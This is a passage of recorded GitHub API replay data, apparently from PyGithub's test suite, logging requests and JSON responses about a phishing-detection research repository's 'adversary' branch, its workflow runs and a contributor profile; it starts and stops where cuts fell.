repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1682.test_object_parameters.txt0000644000175100001660000015227714756101563026272 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/branches/adversary {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dcc53de4e11ab7c5c6010979de5f68002c0a2e617229e70f5b637b2ec32f32cb"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4913'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '87'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F149:5EBC:4B45D:B84EE:5F987C9D')] {"name":"adversary","commit":{"sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","node_id":"MDY6Q29tbWl0MTQ2MTM5NDAzOjk2OTNlNmNhNDA3MTFjNjhlMmQyZWNjNGUyOTFiMzg4MGMwMDYzMzY=","commit":{"author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","tree":{"sha":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees/8f391261d2f13bbd878f5ef493d22ceb2b2719a8"},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/9693e6ca40711c68e2d2ecc4e291b3880c006336","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336/comments","author":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"committer":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"parents":[{"sha":"cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0"}]},"_links":{"self":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary","html":"https://github.com/ReDASers/Phishing-Detection/tree/adversary"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary/protection"} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?branch=adversary {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c87a31882ef244f45740a3e3a149c4714f9ecce8c1b29de53013ae837823c4bd"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4912'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '88'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14A:1734:4A021:A9B61:5F987C9D')] {"total_count":1,"workflow_runs":[{"id":204764033,"node_id":"MDExOldvcmtmbG93UnVuMjA0NzY0MDMz","head_branch":"adversary","head_sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","run_number":628,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1038316439,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMDM4MzE2NDM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/204764033","pull_requests":[],"created_at":"2020-08-11T23:46:58Z","updated_at":"2020-08-12T00:04:06Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1038316439","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"9693e6ca40711c68e2d2ecc4e291b3880c006336","tree_id":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","timestamp":"2020-08-11T23:16:38Z","author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} https GET api.github.com None /users/shahryarabaki {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"41eac0814954da003d4caa61d87eb4301827596dc7a117fd554c912dea4a376c"'), ('Last-Modified', 'Tue, 29 Sep 2020 03:18:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '89'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14B:0434:AF45A:125316:5F987C9D')] {"login":"shahryarabaki","id":19786497,"node_id":"MDQ6VXNlcjE5Nzg2NDk3","avatar_url":"https://avatars3.githubusercontent.com/u/19786497?v=4","gravatar_id":"","url":"https://api.github.com/users/shahryarabaki","html_url":"https://github.com/shahryarabaki","followers_url":"https://api.github.com/users/shahryarabaki/followers","following_url":"https://api.github.com/users/shahryarabaki/following{/other_user}","gists_url":"https://api.github.com/users/shahryarabaki/gists{/gist_id}","starred_url":"https://api.github.com/users/shahryarabaki/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shahryarabaki/subscriptions","organizations_url":"https://api.github.com/users/shahryarabaki/orgs","repos_url":"https://api.github.com/users/shahryarabaki/repos","events_url":"https://api.github.com/users/shahryarabaki/events{/privacy}","received_events_url":"https://api.github.com/users/shahryarabaki/received_events","type":"User","site_admin":false,"name":"Shahryar Baki","company":"University of Houston","blog":"http://www2.cs.uh.edu/~shahryar/","location":"United State","email":"sh.baki@gmail.com","hireable":null,"bio":"Graduate Student at University of Houston","twitter_username":null,"public_repos":6,"public_gists":0,"followers":4,"following":0,"created_at":"2016-06-06T22:05:34Z","updated_at":"2020-09-29T03:18:45Z"} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?actor=shahryarabaki {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b016648ce354ad15a2eb10ac00caace03a4af3f69bb46e1fd6f542f950731970"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4910'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '90'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14C:1735:88A51:E7EEE:5F987C9E')] {"total_count":3,"workflow_runs":[{"id":28372848,"node_id":"MDExOldvcmtmbG93UnVuMjgzNzI4NDg=","head_branch":"master","head_sha":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","run_number":24,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":403444857,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0MDM0NDQ4NTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/28372848","pull_requests":[],"created_at":"2020-01-16T04:37:43Z","updated_at":"2020-01-16T04:42:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/403444857","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","tree_id":"91e32ec11e07b66c52164271628453c0704ac2d5","message":"Force re-install of nose","timestamp":"2020-01-16T04:37:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 